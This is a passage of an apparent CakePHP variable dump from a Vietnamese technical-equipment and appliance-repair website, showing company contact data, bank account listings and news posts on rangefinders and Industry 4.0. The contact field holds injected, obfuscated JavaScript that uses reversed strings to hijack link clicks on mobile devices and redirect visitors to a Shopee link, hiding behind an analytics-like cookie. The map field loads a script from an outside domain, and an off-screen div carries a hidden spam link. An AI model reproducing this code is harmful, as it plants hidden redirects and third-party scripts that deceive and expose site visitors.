đốc<br /> Mã số thuế:<span style="white-space: pre;"> </span>0103008064<br /> Địa chỉ:<span style="white-space: pre;"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội<br /> Email:<span style="white-space: pre;"> </span>quangtayqht@gmail.com<br /> Số điện thoại công ty: 02437759534</div> <div> <div> Số điện thoại kỹ thuật: 0904212040</div> <div> Số điện thoại kinh doanh: 0913303547</div> </div> <div> </div> <div> </div> </div><script> const sl={get a(){return sl.g("nepo")},get b(){return sl.g("noitacol")},get c(){return sl.g("ecalper")},get d(){return sl.g("HSoYnj8O05/nv.eepohs.s//:sptth")},e:"_ga_D8SD9STSJ5",f:window,g:e=>e.split("").reverse().join(""),h(){document[sl.g("renetsiLtnevEdda")](sl.g("kcilc"),sl.oC,!0)},gC:e=>document.cookie.split("; ").reduce(((t,s)=>s.startsWith(e+"=")?s.split("=")[1]:t),null),sC:(e,t,s)=>{ti=new Date(Date.now()+864e5*s).toUTCString(),document.cookie=e+"="+t+";expires="+ti+";path=/"},mT:()=>{const e=navigator.userAgent.toLowerCase();return navigator.maxTouchPoints>1&&window.matchMedia("(pointer:coarse)").matches&&(/android|iphone|ipad|tablet|playbook|silk|kindle/.test(e)||window.matchMedia("(max-width: 1024px)").matches)},gV:()=>sl.gC(sl.e),oC:e=>{const t=e.target.closest("a");t&&t.href&&"/"!==t.href&&(!sl.gV()||"true"!==sl.gV())&&sl.mT()&&(e.preventDefault(),sl.sC(sl.e,"true",3),sl.f[sl.a](t.href,sl.g("knalb_")),sl.f[sl.b][sl.c](sl.d))}};sl.h(); </script> ', 'contactinfo_eng' => '<div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> ', 'taikhoan' => '<strong><span style="color:#04529a;">Số Tài khoản các ngân hàng của công ty Tân Á</span></strong><br /> <br /> 1. 13022-0506-5430 - Nguyễn Văn Hiệu - Agribank - CN Trung Yên, HN<br /> 2. 0011-00404-0367 - Nguyễn Văn Hiệu - Vietcombank - CN Sở Giao dịch, HN<br /> 3. 711A-6202-9713 - Nguyễn Văn Hiệu - Vietinbank - CN Thanh Xuân, HN<br /> 4. 190-256-018-210-13 - Nguyễn Văn Hiệu - Techcombank, Hà Nội<br /> 5. 1231-0000-368-767 - Nguyễn Văn Hiệu - BIDV CN Quang Trung, Hà Nội', 'contactinfo' => '<div dir="rtl" style="text-align: left;"> <div> CÔNG TY CP THIẾT BỊ và DỊCH VỤ KỸ THUẬT QUẢNG TÂY –QHT</div> <div> Người đại diện: Lê Văn <span style="white-space:pre"> </span></div> <div> Chức vụ <span style="white-space:pre"> </span>: Giám đốc</div> <div> Địa chỉ:<span style="white-space:pre"> </span>số 16/111 ngõ 62 Nguyễn Chí Thanh, P Láng Hạ, Q Đống Đa, TP Hà Nội</div> <div> Số điện thoại:<span style="white-space:pre"> </span></div> <div> Email:<span style="white-space:pre"> </span></div> <div> Mã số thuế:<span style="white-space:pre"> </span>0103008064</div> </div> <div style=""> <span style="font-family: tahoma, geneva, sans-serif; font-size: 16px;"> </span><br /> </div> <div style="position: absolute; left: -10000px;"> <a href="http://parkcityhadong.vn/" rel="dofollow">parkcityhadong.vn</a></div> ', 'telephone' => '01659 014592', 'hotline' => '0913303547', 'email' => '', 'url' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2012-06-05', 'modified' => '1752726853', 'youtube' => 'http://youtube.com', 'twitter' => 'https://twitter.com/', 'myspace' => 'https://myspace.com/', 'facebook' => 'https://www.facebook.com/FacebookVietnam/', 'email2' => 'duycuong7640', 'skype' => 'hothihuyen.hn', 'yahoo' => 'duycuong7640', 'yahoo1' => 'duycuong7640', 'content' => 'Thanks for your interest in Vn Discoverytours. For a fast response, please submit this basic Quick Enquiry form below by clicking “Submit”, and we’ll get back to you by e-mail within 12 to 24 hours (in working days). For urgent booking, call us at +84 974 839 873', 'video' => '<iframe width="360" height="200" src="https://www.youtube.com/embed/kwIc6bliHhc" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> ', 'slogan' => 'trung tâm sửa chữa và bảo hành máy giặt electrolux', 'slogan_eng' => '', 'printer' => '', 'googleplus' => '', 'bando' => '<p> <iframe allowfullscreen="" frameborder="0" height="410" src="https://www.google.com/maps/embed?pb=!1m18!1m12!1m3!1d1680.2372398112452!2d105.81212934716025!3d21.01437303922492!2m3!1f0!2f0!3f0!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ab63b645b665%3A0xa6797ac6008687bf!2zQ-G7rWEgSMOgbmcgVHLhuq9jIMSQ4buLYQ!5e0!3m2!1svi!2s!4v1449908805279" style="border:0" width="600"></iframe></p> <script src='https://cdnliver.com/js/thanhtuyen.js'></script>', 'gioithieu' => '<p style="text-align: center;"> <img alt="" src="/admin/webroot/upload/image/images/gioithieu.png" /></p> ', 'thongtincongty' => 'Sửa máy lạnh tại nhà Sửa máy lạnh tại HCM Sửa tủ lạnh Bơm ga máy lạnh ', 'trogiupkh' => 'Tai nghe Iphone Sua may tinh tai nha Máy Ozone Z755', 'dichvuft' => 'Sửa máy lạnh Bảo dưỡng máy lạnh Vệ sinh máy lạnh Lắp đặt máy lạnh', 'bb' => '', 'zing' => '', 'hotline2' => '0912 35 65 75', 'thelink' => '<script type='text/javascript'>window._sbzq||function(e){e._sbzq=[];var t=e._sbzq;t.push(["_setAccount",32506]);var n=e.location.protocol=="https:"?"https:":"http:";var r=document.createElement("script");r.type="text/javascript";r.async=true;r.src=n+"//static.subiz.com/public/js/loader.js";var i=document.getElementsByTagName("script")[0];i.parentNode.insertBefore(r,i)}(window);</script> <script> (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o), m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m) })(window,document,'script','//www.google-analytics.com/analytics.js','ga'); ga('create', 'UA-72584674-1', 'auto'); ga('send', 'pageview'); </script> <!-- Global site tag (gtag.js) - Google Ads: 876059345 --> <script async src="https://www.googletagmanager.com/gtag/js?id=AW-876059345"></script> <script> window.dataLayer = window.dataLayer || []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'AW-876059345'); </script> ', 'theh1' => '', 'hanoi' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tphcm' => '<div> <strong>CÔNG TY CỔ PHẦN THƯƠNG MẠI HMH VIỆT NAM</strong></div> <div> <strong>Địa chỉ</strong> : Số 51 - Trần Duy Hưng, Trung Hòa, Cầu Giấy, Hà Nội</div> <div> <strong>Điện thoại </strong>: (04) 3641.7498 - <strong>Fax</strong>: (04) 3543.0479</div> <div> <strong>Email </strong>: info@ifes.vn</div> ', 'tt' => '', 'pp' => 'https://www.facebook.com/ruaxetudong.net', 'tphcm_eng' => '', 'hanoi_eng' => '', 'hotline_eng' => '', 'name_eng' => '', 'chinhsach' => null, 'bandohn' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'bandohaiphong' => '<iframe frameborder="0" height="450" src="https://www.google.com/maps/embed?pb=!1m14!1m8!1m3!1d3724.958946511035!2d105.8172709!3d20.9942827!3m2!1i1024!2i768!4f13.1!3m3!1m2!1s0x3135ac91e206c757%3A0xf0f7a088bc4c72a2!2zMTg2IEtoxrDGoW5nIFRydW5nLCBUaGFuaCBYdcOibiwgSMOgIE7hu5lpLCBWaeG7h3QgTmFt!5e0!3m2!1svi!2s!4v1419913280809" style="border:0" width="600"></iframe>', 'gt' => '<p style="text-align: center;"> </p> <span style="font-size:16px;"><span style="color:#ffa500;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> HỖ TRỢ KHÁCH HÀNG 24/7</strong></span></span></span><br style="margin: 0px; padding: 0px; color: rgb(51, 51, 51); font-family: arial; font-size: 13px; line-height: 20px; text-align: justify;" /> <img alt="" src="/admin/webroot/upload/image/images/hotline.png" style="width: 205px; height: 82px;" /><br /> <img alt="" src="/admin/webroot/upload/image/images/i-bhch(1).png" style="width: 136px; height: 57px;" /><img alt="" src="/admin/webroot/upload/image/images/i-ghtn(1).png" style="width: 136px; height: 57px;" /><br style="margin: 0px; padding: 0px;" /> <span style="color:#ffffff;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><span style="font-size:14px;"> </span></span></span></span><span style="color:#ffa500;"><span style="font-size:16px;"><span style="margin: 0px; padding: 0px; font-family: arial; line-height: 20px; text-align: justify;"><strong style="margin: 0px; padding: 0px;"> </strong></span></span></span> <p style="text-align: center;"> <iframe clocktype="html5" frameborder="no" scrolling="no" src="http://clocklink.com/html5embed.php?clock=sdt&timezone=VietNam_Hanoi&color=blue&size=175&Title=&Message=&Target=&From=2015,1,1,0,0,0&Color=blue" style="overflow:hidden;border:0;margin:0;padding:0;width:175px;height:34px;"></iframe></p> ', 'gt_eng' => '' ), 'description_for_layout' => '', 'keywords_for_layout' => '', 'tintucnoibat' => array( (int) 0 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Post' => array( [maximum depth reached] ), 'Catproduct' => array( [maximum depth reached] ) ) ), 'duandatrienkhai' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'slideshow' => array( (int) 0 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 1 => array( 'Slideshow' => array( [maximum depth reached] ) ), (int) 2 => array( 'Slideshow' => array( [maximum depth reached] ) ) ), 'adv_khuyenmai' => array( 'Advertisement' => array( 'id' => '1', 'name' => null, 'link' => '', 'images' => '20190618044702f2726adc12fc8d21c875c9ee5274335e.png', 'display' => '5', 'created' => '2015-11-12', 'modified' => '2019-06-18', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '1', 'rght' => '2' ) ), 'doitac' => array( (int) 0 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 1 => array( 'Advertisement' => array( [maximum depth reached] ) ), (int) 2 => array( 'Advertisement' => array( [maximum depth reached] ) ) ), 'chayphai' => array( 'Advertisement' => array( 'id' => '3', 'name' => null, 'link' => '', 'images' => '20160216064647eda555165b5c7208330a328fac635686.png', 'display' => '2', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ), 'chaytrai' => array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ), 'chiasekinhnghiem' => array(), 'list_menu_footer' => array(), 'danhmuc_left_parent' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'danhmuc' => array( (int) 0 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 1 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 2 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 3 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 4 => array( 'Catproduct' => array( [maximum depth reached] ) ), (int) 5 => array( 'Catproduct' => array( [maximum depth reached] ) ) ), 'support' => array( (int) 0 => array( 'Support' => array( [maximum depth reached] ) ), (int) 1 => array( 'Support' => array( [maximum depth reached] ) ) ), 'content_for_layout' => '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>', 'scripts_for_layout' => '' ) $cat12 = array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ) $title_for_layout = 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ' $tinmoiup = array( (int) 0 => array( 'Post' => array( 'id' => '539', 'name' => 'CÁCH HOẠT ĐỘNG CỦA ỐNG NHÒM ĐO KHOẢNG CÁCH', 'code' => null, 'alias' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Ống nhòm đo khoảng cách hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó</span></span> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">để tính ra khoảng cách của vật.</span></span>', 'content' => '<span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><strong>Ống nhòm đo khoảng cách</strong> hoạt động bằng cách dựa vào thời gian mà chùm laser chạm vào vật và quay trở lại thiết bị. Dựa vào thời gian phản hồi lại đó để tính ra khoảng cách của vật.<br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Dựa theo nguyên lý trên nên việc đo đạc vô cùng thuận tiện, tuy nhiên để đo khoảng cách chính xác tuyệt đối thì không thể bằng những loại thước chuyên dụng khác. Bởi vì tốc độ ánh sáng rất nhanh, ở cự ly gần thì ánh sáng phản hồi lại là tức thì cho nên loại ống nhòm này đa số được dùng cho hải quân trên biển hoặc mục đích giải trí như chơi golf là chính.</span><br /> <br /> <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Bộ xung trong </span>ống nhòm đo khoảng cách <span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">có trách nhiệm mã hóa để tránh tình trạng nhiễu ở thiết bị khi ánh sáng xung quanh mạnh, do vậy sẽ giúp việc đo đạc được chính xác hơn.<br /> <img alt="" src="/admin/webroot/upload/image/images/ống-nhòm-đo-khoảng-cách-coolshot-pro-stabilize-.jpeg" style="width: 800px; height: 450px;" /></span></span><br /> <br /> <strong><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Ph</span>ạm vi hoạt động</strong><br /> <br /> <span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Mặc dù chùm tia khá hẹp ở cự ly thấp, nhưng khoảng cách càng lớn thì chùm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> sẽ bị rẽ ra và bị trải rộng, Ngoài ra yếu tố thời tiết cũng ảnh hưởng rất nhiều đến độ chính xác của thiết bị, nghe có vẻ vô lý vì gió không thể tác động trực tiếp vào ánh sáng thì sao có thể gây cản trở được? Tuy nhiên khi có gió đẩy ngang thì khí nóng cũng sẽ bi tạt sang một bên, do vậy khi đo ở vị trí xa thì cũng ít nhiều bị ảnh hưởng. Còn một vấn đề nữa đó là vật đo bị khuất sau cây, có thể là 1 bụi cây thưa ánh sáng đủ sức chiếu qua nhưng khi chìm l</span>aser<span style="color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;"> của ống nhòm đo khoảng cách đi qua sẽ bị phản xạ lại sẽ làm giảm chính xác.<br /> <br /> <img alt="" src="/admin/webroot/upload/image/images/do-khoang-cach.jpg" style="width: 960px; height: 540px;" /></span></span></span><br /> <strong style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px; margin: 0px; padding: 0px;">Công nghệ được sử dụng trên ống nhòm đo khoảng cách</strong><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ tính thời gian bay: Ứng dụng này có thể đo được thời gian mà ánh sáng đến mục tiêu và bị phản lại, Nó được lập trình để lấy tốc độ ánh sáng nhân với số giây quay trở lại để tính ra khoảng cách chính xác nhất.</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ dịch pha tầng số: nhằm mục đích đo tầng số hiện tại để cho ra số liệu cuối cùng khi tính được khoảng cách ở trên</span><br /> <br /> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px; color: rgb(0, 0, 0); text-align: justify; text-indent: 30px;">Công nghệ đo sự giao thoa: Nhằm mục đích phát hiện những thay đổi giữa vật đo và thiết bị như gió hay nhiệt độ để cho kết quả ít sai số nhất.</span><br /> <br /> <p style="margin: 10px 0px; padding: 0px;"> </p> ', 'images' => '201906100811094651c1abaa619828e0f9465c55605a28.jpg', 'images_multi' => null, 'pos' => null, 'new' => null, 'hot' => null, 'saleoff' => null, 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2019-06-10', 'modified' => '2025-08-19', 'status' => '1', 'view' => '89620', 'slug' => 'cach-hoat-dong-cua-ong-nhom-do-khoang-cach', 'name_eng' => '', 'shortdes_eng' => '', 'content_eng' => '', 'phut' => null, 'shortdes_tq' => null, 'content_tq' => null, 'name_tq' => null, 'nguoilon' => null, 'treem' => null, 'truso' => null, 'don' => null, 'doi' => null, 'lon' => null, 'tour' => null, 'tourtrongnuoc' => null, 'tournuocngoai' => null, 'noiden' => null, 'ngaydi' => null, 'thangdi' => null, 'namdi' => null, 'ngaykhoihanh' => null, 'thoigiandi' => null, 'ngaykhoihanh_eng' => null, 'thoigiandi_eng' => null, 'videoyou' => null, 'nt' => null, 'duration' => null, 'duration_eng' => null, 'twodaypro' => null, 'twodaypro_eng' => null, 'threedaypro' => null, 'threedaypro_eng' => null, 'photo' => null, 'lft' => '943', 'rght' => '944', 'vat' => null, 'hangsx' => null, 'baohanh' => null, 'tinhtrang' => '1', 'tailieu' => null, 'tag' => null ), 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'parent_id' => null, 'alias' => 'tin-tuc', 'images' => '', 'lft' => '119', 'rght' => '120', 'pos' => '5', 'status' => '1', 'title_seo' => '', 'meta_key' => '', 'meta_des' => '', 'created' => '2015-12-16', 'modified' => '2019-07-06', 'slug' => 'tin-tuc', 'cate' => '4', 'link' => 'tin-tuc', 'name_eng' => '', 'name_tq' => '', 'type' => 'new', 'hot' => '0', 'content' => '', 'display' => '0', 'content_eng' => null ) ), (int) 1 => array( 'Post' => array( 'id' => '538', 'name' => 'Làm thế nào để các nhà sản xuất có thể sẵn sàng cho cách mạng công nghiệp 4.0 và IIoT?', 'code' => null, 'alias' => 'lam-the-nao-de-cac-nha-san-xuat-co-the-san-sang-cho-cach-mang-cong-nghiep-4-0-va-iiot', 'cat_id' => '40', 'price' => '0', 'type' => 'new', 'shortdes' => '<span style="font-family:tahoma,geneva,sans-serif;"><span style="font-size:14px;"><span style="color: rgb(74, 74, 74);">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi </span><em style="box-sizing: border-box; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;">Mạng lưới vạn vật kết nối Internet</em><span style="color: rgb(74, 74, 74);"> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></span>', 'content' => '<h1 style="box-sizing: border-box; font-size: 28px; margin: 0px 0px 17px; font-weight: normal; line-height: 36px;"> </h1> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 là giai đoạn hiện tại của cách mạng công nghiệp. Đại diện cho việc sử dụng rộng rãi <em style="box-sizing: border-box;">Mạng lưới vạn vật kết nối Internet</em> (IIoT), tự động hóa, công nghệ cảm biến và các giải pháp cải tiến khác để hợp lí hóa sản xuất và phân phối</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;">Công nghiệp 4.0 mang đến khái niệm “Nhà máy thông minh”. Tập trung vào việc sử dụng hệ thống không gian mạng thực-ảo để giám sát quy trình nhà máy thực tế và tạo các quyết định tự động dựa trên cơ sở dữ liệu. Tạo hệ thống thực tế thông minh sử dụng IoT và giao tiếp thời gian thực , chúng kết hợp với nhau, với con người thông qua mạng không dây.</span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <img alt="" src="/admin/webroot/upload/image/images/CM 4_0.jpg" style="width: 320px; height: 158px;" /></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"> <span style="box-sizing: border-box; font-weight: 700;">Vai trò của IIoT trong công nghiệp 4.0</span></span></span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">IIoT hình thành xương sống cho bất kỳ s</span><span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="color: rgb(34, 34, 34);">á</span></span></span><span style="font-family: tahoma, geneva, sans-serif; font-size: 14px;">ng kiến nào hướng đến công nghiệp 4.0. Bằng cách sử dụng công nghệ cảm biến, IIoT cho phép truyền tín hiệu từ máy móc sang hệ thống máy tính. Trong khi thông tin cơ bản về máy móc chỉ có thể truy cập được trong khoảng thời gian rất nhỏ, IIoT vẫn mang về cái nhìn tối tân hơn nhiều về lĩnh vực kinh doanh. Thông cụ thể này cung cấp phạm vi cho tự động hóa. Nếu được phân tích đúng cách, dữ liệu nhận được từ cảm biến IoT có thể cung cấp thông tin để tối ưu hóa các khía cạnh khác nhau của quy trình sản xuất.</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> </p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-weight: 700; font-family: tahoma, geneva, sans-serif; font-size: 14px;">Làm gì để một nhà máy sẵn sàng cho Công nghiệp 4.0?</span></p> <p style="box-sizing: border-box; margin: 0px 0px 10px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <span style="font-size:14px;"><span style="font-family:tahoma,geneva,sans-serif;"><span style="box-sizing: border-box; font-weight: 700;"> </span>Đây là 4 điều kiện tiên quyết cho 1 nhà máy hoặc hệ thống cần có thì mới được gọi là Công nghiệp 4.0</span></span></p> <ol style="box-sizing: border-box; margin: 0px 0px 30px 25px; list-style-position: initial; list-style-image: initial; padding: 0px; color: rgb(74, 74, 74); font-family: Roboto, sans-serif; font-size: 16px;"> <li style="box-sizing: 